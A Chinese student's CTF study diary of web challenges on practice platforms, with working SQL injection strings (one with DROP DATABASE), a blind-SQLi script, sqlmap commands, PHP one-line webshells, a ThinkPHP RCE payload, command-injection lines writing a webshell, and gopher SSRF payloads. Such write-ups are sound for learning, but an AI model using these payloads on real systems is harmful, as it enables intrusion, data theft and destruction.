尽管进了SCUACM冬季集训队。。。

但某花也想学CTF。。。

听学长说,web比较好入门。。。

那就从web开始吧!

感觉CTF门槛比较高,我打算以题代学,先多做一些题,大概了解Web,然后再看书!

[极客大挑战 2019]EasySQL

Web第一题。。。不会做QwQ

原来是SQL注入啊。。。那是什么。。。

嗯。。那就去学一下SQL吧。。

学习链接

看了一些基础的语法,就去学sql注入了。。。

好像有个万能密码表

语言万能密码
PHP‘ or 1=’1
asp,aspx"or "a"="a
jsp1’or’1’=‘1
admin’ or 1=1/*

然后选一个PHP的万能密码试一下。。

发现成功了QwQ好神奇。。

原理:

原来应该是select name,pass from tbAdmin where name=’admin’ and pass=’123456′

后来我输入了万能密码,变成了select name,pass from tbAdmin where name=” or 1=’1′ and pass=” or 1=’1′

1等于’1’恒为真,所以成功了。。。

好神奇。。

像admin’ or ‘1’=’1也是一样的道理。

那我再构造一个用户名’ or 1=’1′ — password=

–表示注释,这样密码就可以随便输了OvO

还可以’ or 1=’1′; DROP DATABASE (DB NAME) —

嗯。。

怎么防御呢。。?

可以检查变量输入的格式,特殊符号过滤和转义处理

还有就是预编译。。。以后再好好看。。。

参考资料:https://www.cnblogs.com/myseries/p/10821372.html

[HCTF 2018]WarmUp

Web第二题。。。

看网页源代码发现有个source.php

打开果然发现有东西。。。可惜某花不会PHP。。。那就去学吧。。

学习链接

in_array($page, $whitelist)判断的是$page在不在whitelist的值里面

mb_substr(str,begin,length)截取中文字符串,英文:substr

mb_strpos(A,B):返回要查找的字符串(B)在另一个字符串(A)中首次出现的位置,下标从0开始

并置运算符 (.) 用于把两个字符串值连接起来

urldecode就是URL解码。。

感觉大概意思就是传入一个file变量,URL解码后第一个问号前的字符串是source.php或hint.php

然而这个变量是什么呢。。。

试了一下file=hint.php%3Fffffllllaaaagggg未果。。。

去查答案了。。

原来是因为我们不知道ffffllllaaaagggg到底在哪个文件夹里。。。所以要不断../这样试。。。

不过退多了就不会再退了

最后是file=hint.php?../../../../../ffffllllaaaagggg

[极客大挑战 2019]Havefun

Web第三题。。。

查看源代码,然后输入?cat=dog就A了。。?

?????????

[ACTF2020 新生赛]Include

Web第四题。。。打开网站后就一头雾水。查看源代码也什么都看不出来。。

毫无思路。。直接看答案了。。。

答案说是什么文件包含。。?

学习链接

大概有点明白了OvO

个人理解是include一个文件的漏洞。。?

反正有印象了。。。原理还不是很清楚。。。

?file=php://filter/read=convert.base64-encode/resource=flag.php

[强网杯 2019]随便注

Web第五题。。看来是sql注入。。

输了万能密码。。然后跳出三个数组。。

又不会了。。

看答案了,原来是SQL堆叠注入。。不知道是什么。。

学习链接

还要预编译。。对着教程做出来了。。但是。。感觉对SQL操作还不是很懂。。。

1;Set @sql = CONCAT('se','lect * from `1919810931114514`;');Prepare stmt from @sql;EXECUTE stmt;#

[ACTF2020 新生赛]Exec

Web第6题。。应该不是sql注入了。。。

毫无思路。。

看答案了。。

这是一道没有任何过滤的命令执行题。。。

参考资料

[SUCTF 2019]EasySQL

Web第七题。。。还是不会。。。。。。。。。。。。。

注入怎么学啊QwQ

对着答案操作一遍。。。。。


看了CTFwiki,发现应该从攻防世界开始刷题。。。

还是攻防世界的题比较友好!

view_source

就是F12查看源代码

robots

就是查看/robots.txt,这个东西

robots协议是告诉网络搜索引擎的漫游器(又称网络蜘蛛),此网站中的哪些内容是不应被搜索引擎的漫游器获取的。

backup

如果网站存在备份文件,常见的备份文件后缀名有:“.git” 、“.svn”、“ .swp”“.~”、“.bak”、“.bash_history”、“.bkf” 尝试在URL后面,依次输入常见的文件备份扩展名。

cookie

按F12,然后发现这个。。不知道为什么。。。

然后跳出了一个这个。。。

在网络的消息头里看到了这个。。

disabled_button

把disabled改成abled就行了。。?后来看了writeup发现直接删了就行了。。。

weak_auth

输了123456才做出来。。。

不会用BurpSuite………….

UPD:有点会用了,对着教程操作了一遍

simple_php

PHP弱比较

php弱类型比较

php中其中两种比较符号:
==:先将字符串类型转化成相同,再比较
===:先判断两种字符串的类型是否相等,再比较
字符串和数字比较使用==时,字符串会先转换为数字类型再比较
var_dump(‘a’ == 0);//true,此时a字符串类型转化成数字,因为a字符串开头中没有找到数字,所以转换为0
var_dump(‘123a’ == 123);//true,这里’123a’会被转换为123
var_dump(‘a123’ == 123);//false,因为php中有这样一个规定:字符串的开始部分决定了它的值,如果该字符串以合法的数字开始,则使用该数字至和它连续的最后一个数字结束,否则其比较时整体值为0。
举例:
var_dump(‘123a1’ == 123);//true
var_dump(‘1233a’ == 123);//false

get_post

有点像一道SCU新生赛的题,反正用hackbar就行了

webshell

下面那个就是传说中的一句话木马

@表示忽略后面这句话的错误,eval表示执行post的语句。

相当于你在shell里面可以想干嘛就干嘛

用hackbar整一下

然后再这样

也可以用中国蚁站

连接密码就是shell

command_execution

我想到了之前的一道命令执行题,但我ls了一下结果什么也没看到。。

原来是要用find来找flag.txt。。。

看来我对linux命令还不熟。。。

xff_referer

整了好久。。。

XFF就是访问的IP,Referer是访问来源的网址

但他们都是能被修改的。。。

用BS抓包,然后改改改

注意包头和包内容之间有一个空行

simple_js

不会js代码审计

摘录一下WP

阅读代码,逐步整理。

整理 JS 代码得到:

function dechiffre(pass_enc) {
    var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
    var tab = pass_enc.split(',');
    var tab2 = pass.split(',');
    var i, j, k, l = 0, m, n, o, p = "";
    i = 0;
    j = tab.length;
    k = j + (l) + (n = 0);
    n = tab2.length;
    for (i = (o = 0); i < (k = j = n); i++) {
        o = tab[i - l];
        p += String.fromCharCode((o = tab2[i]));
        if (i == 5) break;
    }
    for (i = (o = 0); i < (k = j = n); i++) {
        o = tab[i - l];
        if (i > 5 && i < k - 1) p += String.fromCharCode((o = tab2[i]));
    }
    p += String.fromCharCode(tab2[17]);
    pass = p;
    return pass;
}

去除无用变量得到:

function dechiffre() {
    var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
    var tab2 = pass.split(',');
    var i, n, p = "";
    n = tab2.length;
    for (i = 0; i < n; i++) {
        p += String.fromCharCode(tab2[i]);
        if (i == 5) break;
    }
    for (i = 0; i < n; i++) {
        if (i > 5 && i < n - 1) p += String.fromCharCode(tab2[i]);
    }
    p += String.fromCharCode(tab2[17]);
    return p;
}

合并两个循环得到:

function dechiffre() {
    var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
    var tab2 = pass.split(',');
    var i;
    var p = "";
    for (i = 0; i < tab2.length - 1; i++) {
        p += String.fromCharCode(tab2[i]);
    }
    p += String.fromCharCode(tab2[17]);
    return p;
}

末尾并入循环得到:

function dechiffre() {
    var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
    var tab2 = pass.split(',');
    var i;
    var p = "";
    for (i = 0; i < tab2.length; i++) {
        p += String.fromCharCode(tab2[i]);
    }
    return p;
}

就逻辑上可见它只是将内容为逗号分隔的数字的字符串转成相应编码的字符串。

将代码修改,用下方的可疑字符串代替函数中的常量,得到的整个网页代码是:

<html>
<head>
    <title>JS</title>
    <script type="text/javascript">
function dechiffre() {
    var pass = "\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30";
    var tab2 = pass.split(',');
    var i;
    var p = "";
    for (i = 0; i < tab2.length; i++) {
        p += String.fromCharCode(tab2[i]);
    }
    return p;
}
alert(dechiffre());
</script>
</head>
<body></body>
</html>

保存为以HTML后缀的文件再用浏览器打开即可见结果。

(原来FromCharCode表示将UniCode编码转成一个字符啊。。。)

成功刷完攻防世界上Web的新手区!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!


然后又做了几道进阶区的题

baby_web

第一次自己用BS做出一道题。。

就是输入index.php然后抓包,发送到repeater,查看response。。。

warmup

以前做过了。

Training-WWW-Robots

直接看robots.txt就行了。。

PHP2

这题我不会了。。。

看了一眼答案,原来是index.phps里泄露了index.php的源码…

就是id解码后的值是admin而id自己不能是admin

然后就是利用浏览器编码和URLdecode结合利用的二次编码注入绕过,payload构造为%2561dmin,浏览器会先把非ASCII码字符%25进行编码变成%,然后urldecode将%61编码为a,最后形成了admin绕过

不管了打球去了~~~


要期末考了。。先咕一段时间。。。

复习计算机系统导论顺便学了一下sql


Web_php_unserialize

期末考不复习了。。看题目知道,这题是PHP反序列化,然后去学习一下

构造了O:4:”Demo”:2:{s:10:”Demofile”;s:8:”fl4g.php”;}

结果错了。。

学了一下正则表达式

还是看答案了。。

正则表达式if (preg_match(’/[oc]:\d+:/i’, $var)的意思是

[oc] 匹配o或者c

\d 匹配任意一个10进制的数

+ 匹配前面的字符 1-N 次

i 表示不区分大小写

所以要绕开正则表达式和__wakeup,构造出

O:+4:”Demo”:2:{s:10:”Demofile”;s:8:”fl4g.php”;}

+4绕开正则表达式,2绕开了__wakeup(2比属性数量(1)多)

但我转成base64后还是错了。。。

查了一下。。

这里的file变量为私有变量(protected变量应该也会),所以序列化之后的字符串开头结尾各有一个空白字符(即%00),字符串长度也比实际长度大2,如果将序列化结果复制到在线的base64网站进行编码可能就会丢掉空白字符,从而得到错误的编码值

所以应该用PHP自带的base64加密。。。

PHP_rce

先去学rceOvO

发现这道题打开就是个广告。。。毫无思路。。。

看答案了。。。

原来是ThinkPHP以前版本的漏洞。。。(公开处刑)

对着答案操作了一下。。

index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find%20/%20-name%20flag

然后执行

index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag

Web_php_include

我猜是要PHP伪协议,然后注意到strstr和str_replace都区分大小写!!!

可是输入?page=PHP://filter/read=convert.base64-encode/resource=index.php再解码什么也没弄出来。。。

看答案了QwQ

PHP://input竟然可以直接getshell!!!

伪协议还是慢慢学吧QwQ

supersqli

做过了。。。


CTFHUB HTTP协议:请求方式

直接用burpsuite了,把GET改成CTFHUB就过了。

CTFHUB HTTP协议:302跳转

这种题做过很多次了。。不想再写了。。

CTFHUB HTTP协议:Cookie

不会做QwQ,原来是自己的cookie已经是admin了,只要让admin=1就可以了。。。

看到了一个有趣的资料:

三、cookie和session结合使用:

web开发发展至今,cookie和session的使用已经出现了一些非常成熟的方案。在如今的市场或者企业里,一般有两种存储方式:

  1、存储在服务端:通过cookie存储一个session_id,然后具体的数据则是保存在session中。如果用户已经登录,则服务器会在cookie中保存一个session_id,下次再次请求的时候,会把该session_id携带上来,服务器根据session_id在session库中获取用户的session数据。就能知道该用户到底是谁,以及之前保存的一些状态信息。这种专业术语叫做server side session。

  2、将session数据加密,然后存储在cookie中。这种专业术语叫做client side session。flask采用的就是这种方式,但是也可以替换成其他形式。

CTFHUB HTTP协议:基础认证

Burp Suite暴力破解

注意要取消勾选,不然=会被转成%3D(所以我第一次就破了个寂寞)

竟是直接看源码。。。。

把HTTP协议整完了。。

emmm…

CTFHUB 信息泄漏 目录遍历:

直接一个个找就好了。。我还以为要蚁剑之类的。。

贴一个别人的脚本以后慢慢学

# _*_ coding:utf-8 _*_
 
import requests
 
url = "http://challenge-88fe15103038d8b0.sandbox.ctfhub.com:10080/flag_in_here"
 
for i in range(5):
    for j in range(5):
        url_final = url + "/" + str(i) + "/" + str(j)
        r = requests.get(url_final)
        r.encoding = "utf-8"
        get_file=r.text
        if "flag.txt" in get_file:
            print(url_final)



CTFHUB 信息泄漏 PHPINFO

直接c+f找flag。。

但关于不同的PHP版本,这篇文章比较有意思,现在还是有很多看不懂。。。

CTFHUB 信息泄漏 备份文件下载 网站源码

我用burpsuite来看看能不能找到文件。。。

找到了flag_943819718.txt还要输到网址里去。。。

嘛原来有dirsearch这种东西。。。

CTFHUB 信息泄漏 备份文件下载 bak文件

直接输index.php.bak就行了。。

CTFHUB 信息泄漏 备份文件下载 vim缓存

输入.index.php.swp(带.是因为文件隐藏)

下载文件后用vim -r打开

CTFHUB 信息泄漏 备份文件下载 .DS_STORE

.DS_Store 是 Mac OS 保存文件夹的自定义属性的隐藏文件。通过.DS_Store可以知道这个目录里面所有文件的清单。

使用Python-dsstore工具查看

CTFHUB 信息泄漏 Git泄漏 log

对着答案操作了一遍QwQ

CTFHUB 信息泄漏 GIT泄漏 STASH

参考了一下git-stash用法小结,然后做出来了。

CTFHUB 信息泄漏 GIT泄漏 INDEX

???直接用GITHACK就加载出来了。。?

CTFHUB 信息泄漏 SVN泄漏

我连SVN是什么都不知道。。。

对着答案操作了一遍。。

GITHUB 信息泄漏 HG泄漏

HG是什么。。

反正像上一题一样的自己操作了一下。。

原来手工解决就是把flag_xxxxx.txt输到网址里去啊QwQ

有个东西叫curl。。?

CTFHUB 密码口令 弱口令

BS爆破一下

CTFHUB 密码口令 默认口令

百度查一下亿邮的默认口令

CTFHUB SQL注入 整数型注入

不知道为什么叫整数型注入。。。

看了从0到1,感觉讲得很详细!

这道题有很多有趣的点!

1、查看有几个id有效:

输入1 or 1=1,结果只有一项,因为PHP代码决定了该页面只显示一行记录。

可以用limit函数!limit x,y表示从第x项(从0开始记)开始输出y个。

2、如何查询本数据库其他信息?

information_schema中有所有数据库名,表名,字段名。

-1 union select database(),1

-1 union select 1,group_concat(table_name) from information_schema.tables
where table_schema=database()

-1 union select 1,group_concat(column_name) from information_schema.columns
where table_name='?'

table_name是tables表的表名字段,table_schema是数据库名字段

1,是为了补全两列内容

CTFHUB SQL注入 字符型注入

跟整数型注入差不多,就是要注意–后要有空格

怎么判断是整数型还是字符型?整数型:3-1=2,字符型:2a=2

CTFHUB SQL注入 报错注入

对着从0到1做出来了QwQ

updatexml的第二个参数应该是合法的XPATH,否则报错时会输出传入的参数,只能爆32位。。

1 or updatexml(0,concat(1,(查询语句)),1)

网上的解法

1 Union select count(*),concat((查询语句),0x26,floor(rand(0)*2))x from information_schema.columns group by x;

CTFHUB SQL注入 布尔盲注

继续看从0到1。。

贴个脚本

import requests
import time
 
 
urlOPEN = 'http://challenge-你自己环境的连接.sandbox.ctfhub.com:10080/?id='
starOperatorTime = []
mark = 'query_success'
def database_name():
    name = ''
    for j in range(1,9):
        for i in 'sqcwertyuioplkjhgfdazxvbnm':
            url = urlOPEN+'if(substr(database(),%d,1)="%s",1,(select table_name from information_schema.tables))' %(j,i)
            # print(url+'%23')
            r = requests.get(url)
            if mark in r.text:
                name = name+i
                
                print(name)
                
                break
    print('database_name:',name)
    
        
    
database_name()
def table_name():
    list = []
    for k in range(0,4):
        name=''
        for j in range(1,9):
            for i in 'sqcwertyuioplkjhgfdazxvbnm':
                url = urlOPEN+'if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' %(k,j,i)
                # print(url+'%23')
                r = requests.get(url)
                if mark in r.text:
                    name = name+i
                    break
        list.append(name)
    print('table_name:',list)
 
 
#start = time.time()
table_name()
#stop = time.time()
#starOperatorTime.append(stop-start)
#print("所用的平均时间: " + str(sum(starOperatorTime)/100))
 
 
def column_name():
    list = []
    for k in range(0,3): #判断表里最多有4个字段
        name=''
        for j in range(1,9): #判断一个 字段名最多有9个字符组成
            for i in 'sqcwertyuioplkjhgfdazxvbnm':
                url=urlOPEN+'if(substr((select column_name from information_schema.columns where table_name="flag"and table_schema= database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' %(k,j,i)
                r=requests.get(url)
                if mark in r.text:
                    name=name+i
                    break
        list.append(name)
    print ('column_name:',list)
 
 
column_name()
 
 
def get_data():
        name=''
        for j in range(1,50): #判断一个值最多有51个字符组成
            for i in range(48,126):
                url=urlOPEN+'if(ascii(substr((select flag from flag),%d,1))=%d,1,(select table_name from information_schema.tables))' %(j,i)
                r=requests.get(url)
                if mark in r.text:
                    name=name+chr(i)
                    print(name)
                    break
        print ('value:',name)
    
get_data()

还有sqlmap的用法

sqlmap -u 登录的地址 -dbs
sqlmap -u 输入地址 -D sqli --tables
sqlmap -u 地址 -D sqli -T flag --columns --dump
sqlmap -u 地址 -D sqli -T flag -C flag –dump

获取数据库名字长度与表名长度与字段数与字段长度

1 and (length(database()))> 5
1 and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>5
1 and (select count(*)from information_schema.columns where table_name=‘XXXX’)>5
1 and (select length(column_name)from information_schema.columns where table_name=‘XXX’ limit 0,1)>5

CTFHUB SQL注入 时间盲注

这个要用if语句了。。

if语句:if(expr1,expr2,expr3),如果expr1的值为true,则执行expr2语句,如果expr1的值为false,则执行expr3语句。

比如我们想看看数据库名是不是还是flag..

可以构造payload:1 and if(databases()=’sqli’,sleep(3),1)

然后用sqlmap就行了!

sqlmap好慢啊我等的都睡着了。。。

后天要考思政了。。。而我根本不想看。。。救命。。。

CTFHUB SQL注入 MYSQL结构

挺简单的一道题,感觉就是sqlmap的小测验

攻防世界 ics-06

穿插一道题QwQ

以前不会做。。现在看到url里的id以为是sql注入,结果是BS暴力查询。。

然而我的BS好慢啊。。。大概是因为社区版的缘故。。?

攻防世界 NewsCenter

用sqlmap跑post注入

参考资料

CTFHUB SQL注入 COOKIE注入

如题。。用sqlmap跑了个寂寞….

最后参考这个还是整出来了。。。

注意点:1、要开–level 2;2、要– cookie=”XXX” XXX为BS中cookie的注入点

[极客大挑战 2019]LoveSQL

直接sqlmap了。。。。sqlmap真香。。。

该看思修了。。。后天期末考

CTFHUB SQL注入 UA注入

英语期末考GG

用BS抓包然后修改UserAgent。。。

[ACTF2020 新生赛]BackupFile

用dirsearch找到了备份文件。。

其实应该直接找到index.php.bak的。。。经验不足吧QwQ

CTFHUB SQL注入 REFER注入

一开始用BS直接抓包然后sqlmap搜了个寂寞

原来只有用post请求时才会看referer

所以先用hackbarPOST一个id=1然后再抓包。。。

而且level要调到3

其实直接hackbar就可以手动注入了。

sqlmap慢死了。。。

天呐它在对database做时间盲注。。。

[极客大挑战 2019]Secret File

BS抓包。。再PHP伪协议。。

CTFHUB SQL注入 过滤空格

用/**/代替空格就可以了

从零到一上还有几种URL的方法。

[极客大挑战 2019]Knife

这题最大的难度在于在mac M1上装蚁剑。。。

但我蚁剑还不是很会用

以后学学Weevely怎么用

[极客大挑战 2019]Http

思政实在看不进。。

复习了一下Referer,UA,XFF

[HCTF 2018]admin

弱密码爆破。。

[极客大挑战 2019]BuyFlag

BS抓包

cookie里的user=1..

注意post的值要空一行,还要加Content-Type: application/x-www-form-urlencoded

然后就好了OvO

CTFHUB 文件上传 无验证

思修GG了

很有趣的一道题,直接上传一句话木马。。然后蚁剑连接就行了。。

<?php
echo "123";
@eval(@$_POST['a']);
?>

CTFHUB 文件上传 前端验证

两种方法:1、直接把JS验证删了。。。2、上传.php.jpg然后BS抓包改后缀

CTFHUB 文件上传 文件头检查

这道题检查了文件头QwQ

可以在php的头上加上png的标记,然后把php改后缀

再BS抓包改后缀

一个模板被WP屏蔽了很遗憾不能传上来。。。

参考资料

CTFHUB 文件上传 .htaccess

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能

不会做QwQ参考资料

CTFHUB 文件上传 MIME绕过

用文件头绕过的方法。。对了。。。

原来应该是改Content-Type来绕过。。。

CTFHUB 文件上传 00截断

不会做。。。参考资料

CTFHUB 文件上传 双写后缀

这个比较简单,看源码就知道了OvO

[ACTF2020 新生赛]Upload

不会做QwQ

发现自己其实只学了皮毛。。。

前端的限制可以直接改js来绕过

发现php传不上去。。以为要00截断结果截不出来。。

结果是用phtml。。?贴一个模板

GIF89a  //习惯在文件前加上GIF89a来绕过PHP getimagesize的检查,这道题中有无皆可
<script language='php'>@eval($_POST['ye']);</script>
<script language='php'>system('cat /flag');</script>

别人的总结:

  • 上传.user.ini或.htaccess将合法拓展名文件当作php文件解析
  • %00截断绕过
  • php3文件
  • php4文件
  • php5文件
  • php7文件
  • phtml文件
  • phps文件
  • pht文件

[极客大挑战 2019]Upload

同上。。。

[MRCTF2020]你传你🐎呢

有趣的题目。。。方法是先传.htaccess。。。再传PNG。。

SetHandler application/x-httpd-php

感觉这种题知道是传码就一个个试。。。

[极客大挑战 2019]PHP

反序列化应该这样构造。。。

<?php
class Name
{
    private $username = 'admin';
    private $password = '100';
}
$a = new Name();
echo urlencode(serialize($a));
#未编码的情况
//O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
//使用时将URL编码的结果中Name后面的2换成3或其他值
?>

[BJDCTF2020]Easy MD5

一开始以为是弱密码然后没爆出来。。。

看了答案。。。原来response的header头里有提示。。。

select * from 'admin' where password=md5($pass,true)

这里pass是ffifdyop

大概是md5加密后就变成了字符型注入

后面的if($a != $b && md5($a) == md5($b))

可以用数组?a[]=1&b[]=2或0e那个绕过。。

最后的if($_POST[‘param1’]!==$_POST[‘param2’]&&md5($_POST[‘param1’])===md5($_POST[‘param2’]))

也是数组绕过。。。param1[]=1&param2[]=2

因为MD5遇到数组直接返回NULL

参考资料

有趣的细节:

BS传有符号的东西的时候加的是Content-Type: application/x-www-form-urlencoded,而且[]要转成URLcode,&不用

[GXYCTF2019]Ping Ping Ping

参考资料

经验还是不够。。。

符号被屏蔽了不代表$一定会被屏蔽。。。

要去response里看结果

[MRCTF2020]Ez_bypass

挺简单的。。。

攻防世界 upload1

。。。

攻防世界 unserialize3

。。。就当是复习吧。。。

CTFHUB RCE eval执行

英语期末考没G。。。数学感觉也还行。。

嘛就是通过cmd来传PHP命令OvO

注意要有分号!!!!还有ls /

嘛不知为什么不能传一句话木马。。。

CTFHUB RCE 文件包含

就是include那个shell.txt然后eval执行。。。

CTFHUB RCE php://input

就直接php://input呗。。。post传php命令

CTFHUB RCE 读取源代码

file=php://filter/read=convert.base64-encode/resource=/flag

CTFHUB RCE 远程包含

就是php://input….

CTFHUB RCE 命令注入 无过滤

我还是太菜了。。。没想到flag在源码里。。。。

CTFHUB RCE 过滤cat

…我的方法是加反斜杠。。

看到了一个网上的做法。。。

127.0.0.1 &echo "<?php @eval(\$_POST['a']);?>" >> shell.php
127.0.0.1;g=a;c${g}t flag.php

update:可以用base64!!!

CTFHUB RCE 过滤空格

反正就是$IFS$1

CTFHUB RCE 过滤目录分隔符

直接写一句话木马了。。。

也可以cd再cat

CTFHUB RCE 过滤运算符

过滤了个寂寞

CTFHUB RCE 综合过滤练习

慢慢弄呗。。。

如果;&|都被过滤了那么就在URL输入%0a来分隔

去科技馆玩啦~

CTFHUB SSRF 内网访问

思政GG。。主不在乎

至少某花的寒假开始啦~~~

。。。url直接输127.0.0.1就行了。。。

CTFHUB SSRF 伪协议读取文件

一直在尝试PHP伪协议和data伪协议,未果

结果这题是URL伪协议

URL伪协议一般是

  • file:///
  • dict:///
  • sftp://
  • ldap://
  • tftp://
  • gopher://

这题是file伪协议。。直接输绝对路径就行了

?url=file:///var/www/html/flag.php

CTFHUB SSRF 端口扫描

就Burpsuite直接扫。。。

我的社区版慢死了。。。

记得关URLencode。。。。

CTFHUB SSRF URL Bypass

。。。不会做。。。

看答案了。。是构造?url=http://notfound.ctfhub.com@127.0.0.1/flag.php

HTTP 基本身份认证是允许 Web 浏览器或其他客户端程序在请求时提供用户名和口令形式的身份凭证的一种登录验证方式。

不是很懂。。。

摘录一下别人的整理:

url跳转bypass:
1.利用问号绕过限制url=https://www.baidu.com?www.xxxx.me
2.利用@绕过限制url=https://www.baidu.com@www.xxxx.me
3.利用斜杠反斜杠绕过限制
4.利用#绕过限制url=https://www.baidu.com#www.xxxx.me
5.利用子域名绕过
6.利用畸形url绕过
7.利用跳转ip绕过

还有一个有趣的参考资料

CTFHUB SSRF 数字IP Bypass

方法挺多的。。。

一种是http://localhost/flag.php

或者用十六进制。。。?url=0x7f000001/flag.php

CTFHUB SSRF 302跳转 Bypass

感觉这种题目都要先读源码啊。。。

反正我按照上一题的做法对了。。。

应该是用短网址。。。但我不会。。。

CTFHUB SSRF DNS重绑定 Bypass

用十六进制绕过做出来了。。。

答案还不是很懂。。

CTFHUB SSRF POST请求

我微积分期末考好像AK了。。。

根据经验,先读源码

去请教了wky。。。才有点明白了。。。

首先ssrf是什么呢。。就是利用一个内网里的主机去访问内网的东西

下图中url里应该输一个网址,不然curl不到。。所以要用127.0.0.1/flag.php。XFF是告知来源的。。。

还有就是index.php里的curl不会传POST的值。。所以要用gopher伪协议。。。

参考资料

整了好久好久。。。终于整出来了。。。

反正就是要传这个

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded

key=a270a5711401761ff83e3b298482ecf7

URL编码两次!第一次把换行弄成%0D%0A

注意key之前还有个换行。。。

POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%252036%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250A%250D%250Akey%253Da270a5711401761ff83e3b298482ecf7

最后再传入

GET /?url=gopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%252036%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250A%250D%250Akey%253Da270a5711401761ff83e3b298482ecf7

终于整出来了。。。。。

CTFHUB SSRF 文件上传

一开始url里输入了flag.php。。无果

应该输127.0.0.1/flag.php

然后手动加代码实现提交文件。。

<input type="submit" name="submit">

然后上传一个文件。。抓包

POST /flag.php HTTP/1.1
Host: challenge-2bc5d27bdf3ae6d1.sandbox.ctfhub.com:10800
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------213803860115851786644256218851
Content-Length: 381
Origin: http://challenge-2bc5d27bdf3ae6d1.sandbox.ctfhub.com:10800
Connection: close
Referer: http://challenge-2bc5d27bdf3ae6d1.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php
Upgrade-Insecure-Requests: 1

-----------------------------213803860115851786644256218851
Content-Disposition: form-data; name="file"; filename="a.php"
Content-Type: text/php

<?php
echo "123";
@eval(@$_POST['a']);
?>

-----------------------------213803860115851786644256218851
Content-Disposition: form-data; name="submit"

Submit Query
-----------------------------213803860115851786644256218851--

像之前一样转两次url就可以了

GET /?url=gopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520challenge-2bc5d27bdf3ae6d1.sandbox.ctfhub.com%253A10800%250D%250AUser-Agent%253A%2520Mozilla%252F5.0%2520(Macintosh%253B%2520Intel%2520Mac%2520OS%2520X%252010.15%253B%2520rv%253A96.0)%2520Gecko%252F20100101%2520Firefox%252F96.0%250D%250AAccept%253A%2520text%252Fhtml%252Capplication%252Fxhtml%252Bxml%252Capplication%252Fxml%253Bq%253D0.9%252Cimage%252Favif%252Cimage%252Fwebp%252C*%252F*%253Bq%253D0.8%250D%250AAccept-Language%253A%2520en-US%252Cen%253Bq%253D0.5%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AContent-Type%253A%2520multipart%252Fform-data%253B%2520boundary%253D---------------------------213803860115851786644256218851%250D%250AContent-Length%253A%2520381%250D%250AOrigin%253A%2520http%253A%252F%252Fchallenge-2bc5d27bdf3ae6d1.sandbox.ctfhub.com%253A10800%250D%250AConnection%253A%2520close%250D%250AReferer%253A%2520http%253A%252F%252Fchallenge-2bc5d27bdf3ae6d1.sandbox.ctfhub.com%253A10800%252F%253Furl%253D127.0.0.1%252Fflag.php%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A%250D%250A-----------------------------213803860115851786644256218851%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522a.php%2522%250D%250AContent-Type%253A%2520text%252Fphp%250D%250A%250D%250A%253C%253Fphp%250D%250Aecho%2520%2522123%2522%253B%250D%250A%2540eval(%2540%2524_POST%255B%2527a%2527%255D)%253B%250D%250A%253F%253E%250D%250A%250D%250A-----------------------------213803860115851786644256218851%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250ASubmit%2520Query%250D%250A-----------------------------213803860115851786644256218851-- HTTP/1.1

后面的都好难啊。。。想先放放。。。我感觉我可以开始看一些书了。。。

攻防世界 NaNNaNNaNNaN-Batman

不会做。。

嘛就是下载了一堆乱码。。。然后猜测是html就改后缀名。。。

然后eval改成alert…

就可以看源码了。。。

攻防世界 ICS05

感觉把水题都做完了。。。

反正就是对着答案操作一遍。。。

一点经验:LFI漏洞的黑盒判断方法:
单纯的从URL判断的话,URL中path、dir、file、pag、page、archive、p、eng、语言文件等相关关键字眼的时候,可能存在文件包含漏洞。

明天开始看从零到一OvO

CTFHUB SSRF Redis协议

算了过几天再看书。。。

对着教程用gopherus做出来了OvO

CTFHUB SSRF FastCGI协议

对着答案操作了一遍。。。

[极客大挑战 2019]BabySQL

一道完全自己做出来的SQL注入OvO

泪目了

关键在于试探出它关键词的过滤方式

最后注意一下单引号!!!

记事本的单引号不是正常的单引号。。

[GYCTF2020]Blacklist

回杭州了OvO

最近有点颓

嘛这题是堆叠注入。。

一直showshowshow就可以了。。。

return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

然后。。。

